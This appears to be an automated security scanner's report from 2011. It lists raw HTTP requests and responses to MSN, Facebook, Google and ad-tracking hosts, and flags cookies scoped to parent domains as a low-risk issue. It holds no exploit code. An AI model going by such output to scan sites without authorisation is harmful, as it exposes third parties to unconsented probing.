HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:17 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA08 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=b92db3a9296f4d6dac31d28373f517a4; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=86119F07135943FAA639279C0A5E608F; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:17 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 53009
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-look/well-groomed-male/staticslideshowgq.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:19 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA08 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=82f20f62c0c34e9aa45db0562ae04303; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=792657CF36AE4135914E87FA814E0519; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:18 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 47396
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:33:53 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA27 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c3af7a7696394c059fb54ea07012ac32; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=1C752DD9CA8D47F6B859932998A5A5A5; domain=.msn.com; expires=Sun, 21-Aug-2011 15:33:53 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 45825
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hourly.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:37 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA30 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=a88927d5284b4f0db193dcb398666b00; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=DE601FFA41DC4AE7A2ACD605FC555949; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:36 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 52352
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /movies-events.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:34 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c724f512793f40f7b545863d70887ae9; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=91907563A38849D1A4E116FF013302D8; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:33 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 53547
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:28 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=f947a926dcc6448ab9adb2fe46c957ce; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=BA421F87D3D544989D735829E15D49E7; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:28 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 45754
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /restaurants.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:33:58 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA26 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=55093cd8c86c4eec9aa83f4a411553a7; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D4302824917C48BF812A10E485459A9D; domain=.msn.com; expires=Sun, 21-Aug-2011 15:33:58 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49235
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sports.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:31 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA30 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=91674b5e4f20471eb76593a1de875742; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=29EFBD9A51484401A707F30A0C1054D7; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:31 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 94605
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ten-day.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:34 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=a493fc2dada348559f36f3b1b7ee2baa; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=A97D30A3A7E74A1390F36B78341CB76F; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:34 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49125
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /weather.aspx HTTP/1.1 Host: local.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:29 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA28 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=f0bf2ff54ef24146a8f224ade917b784; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=AD37BD0DAAF74A8193957788A235401B; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:29 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49007
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: login.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=deleted; datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=deleted; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=deleted; __utmc=deleted; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmb=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ajax/intl/language_dialog.php HTTP/1.1 Host: login.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=deleted; datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=deleted; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=deleted; __utmc=deleted; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmb=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /help/ HTTP/1.1 Host: login.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=deleted; datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=deleted; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=deleted; __utmc=deleted; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmb=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /r.php HTTP/1.1 Host: login.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=deleted; datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=deleted; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=deleted; __utmc=deleted; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmb=deleted;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps HTTP/1.1 Host: maps-api-ssl.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /w/tre?ad_id=24132;evt=16926;cat1=20864;cat2=20865;rand=[CACHEBUSTER] HTTP/1.1 Host: media.fastclick.net Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: zru=1|:1294800534|; lxc=AgAAAASMFi1NACAABHVydDE3IAfgBAADMwAAluAUHwEAAA==; vt=10070:256698:477674:54816:0:1295925050:3|11008:274624:511498:54393:0:1296265712:0|; adv_ic=ByAAAABBd0NNIAYGAAFJAAC2USAHIAtAAAHwceABFwH6XeABFwE+cqAXBEMAAPxI4AEXAGTgAi8Bq17gARfgAy8AaOACFwBh4AIvAZlQ4AEvAD3gAl8AsOACLwBY4AIv4ANH4AMvAeFZ4AFHAFbgAi8A5CDbwNfgAy8BAlvgARcAUOACLwSLXAAABEEEIAACHrNAgR8g7wCpIO8AYCATQAAATeACLwDVIC8AAkAUIAACvQ0/4AAvABsgjwB2IBNAAABL4AIvAdtX4AF3AErgAhcAGuACpwBB4AIXAD/hAgcAIOACFwB54AK/AB3gAhcAxeACLwAY4AIX4QNP4AMXAWU44AGPAVzVoO8giwBk4AIXAIvA1yAXBM1PAAADQNQgAABV4AIXAUdT4AFHACbgAhcAD+ACjwAD4AIXABjgAhcB/gyhNyBfAbda4AFHANzgAhcAxuACFwDY4AIXACjgAkcAxOACFwAV4AIXAKvgAhcBeUfAXwEAAA==; lyc=AgAAAASmvURNACAAAZVaIASgAAFsS6AIIAAB3VggBKAAAwNIAAA=; pluto=517004695355|v1
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi_x7Ezx7Fx7Fvx7Dx7Dzfx7Ex7Bx7Cgvx7Fx60gx60g=[CS]v4|0-0|4D48285A[CE]; Expires=Sun, 31 Jan 2016 15:35:54 GMT; Domain=.2o7.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/millenniumhotelstst/1/H.22.1/s34298913453239 HTTP/1.1 Host: millenniumhotels.122.2o7.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi_kx60gx60w=[CS]v4|26A20C60051617F4-40000183C02A4478|4D4418BF[CE]; s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi=[CS]v1|26A41302851D26C6-4000010BE0598ACB[CE]; s_vi_x7Fx7Ex7Cyx7Eux3Dx7Bux7Ex3Dcduyx7E=[CS]v4|26A0E5B58501123C-400001062000534C|4D41CB69[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE];
Response
HTTP/1.1 302 Found Date: Tue, 01 Feb 2011 15:35:54 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_x7Ezx7Fx7Fvx7Dx7Dzfx7Ex7Bx7Cgvx7Fx60gx60g=[CS]v4|0-0|4D48285A[CE]; Expires=Sun, 31 Jan 2016 15:35:54 GMT; Domain=.2o7.net; Path=/ Location: http://millenniumhotels.122.2o7.net/b/ss/millenniumhotelstst/1/H.22.1/s34298913453239?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Mon, 31 Jan 2011 15:35:54 GMT Last-Modified: Wed, 02 Feb 2011 15:35:54 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www44 Content-Length: 0 Content-Type: text/plain Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /movies/article.aspx?news=625907 HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /new-on-dvd/movies/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /paralleluniverse/5-demonic-possession-movies/story/across-the-universe/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /paralleluniverse/henry-cavill-is-superman/story/across-the-universe/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /paralleluniverse/in-praise-of-buried/story/across-the-universe/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /paralleluniverse/new-sci-fi-from-alien-ashes/story/across-the-universe/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /showtimes/showtimes.aspx HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /the-rundown/the-guard/story_5/ HTTP/1.1 Host: movies.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /mapstt HTTP/1.1 Host: mt2.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /mapstt HTTP/1.1 Host: mt3.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: music.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /music/article.aspx?news=626003>1=28102 HTTP/1.1 Host: music.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: my.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 15:38:07 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: CO1MPPMYREN05 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Location: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1296661087&rver=5.5.4177.0&wp=mbi&wreply=http:%2f%2fmy.msn.com%2f&lc=1033&id=254014 Set-Cookie: MC1=V=3&GUID=a084dcc2b5364191ad936bfe59f51c19; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ Cache-Control: no-cache Cache-Control: no-store, must-revalidate, max-age=0 Content-Type: text/html; charset=utf-8 Content-Length: 287
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1296661087&rver=5.5.4177.0&wp=mbi&wrep ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /RealMedia/ads/adstream_nx.ads/TRACK_Lendingtree/Retargeting_Homepage_Nonsecure@Bottom3 HTTP/1.1 Host: network.realmedia.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800pDrcAAovp; S247=399NOVvW2dQZCsJ5oXW9zK_qWmZqqKZlVqCOOX-807ztLojTU5W5ayQ; S247S=1; RMFL=011PiXH1U10EfJ|U10Eo1|U1014lt|U10166E; NXCLICK2=011PiXHRNX_!yNX_TRACK_Askcom"/Retargeting_Homepage_Nonsecure!y; SData=,D41D8CD98F00B204E9800998ECF8427E; mm247=AL1LE0AS1SE1CA5OP5DO0CR0BR0CO0MO1PE0PR0PU0SP0SU5DI1EX1OM0DY0RS1; RMFD=011PjwfWO1016Kj
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 15:43:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Set-Cookie: RMFL=011PkerqU10EfJ|U10Eo1|U1014lt|U10166E|U1016Pl; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.realmedia.com Set-Cookie: NXCLICK2=011PkerqNX_TRACK_Lendingtree/Retargeting_Homepage_Nonsecure!y!B3!16Pl!1MTwg; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.realmedia.com Location: http://imagen01.247realmedia.com/RealMedia/ads/Creatives/USNetwork/BCN2010120164_000a_LendingTree/Trans1x1.gif Content-Length: 382 Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_o1efm_qppm_iuuq=ffffffff09419e0845525d5f4f58455e445a4a423660;expires=Wed, 02-Feb-2011 07:34:34 GMT;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://imagen01.247realmedia.com/RealMedia/ads/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news/story HTTP/1.1 Host: news.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAC[CE]; Expires=Mon, 1 Feb 2016 19:21:16 GMT; Domain=.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s11877967668697 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE];
Response
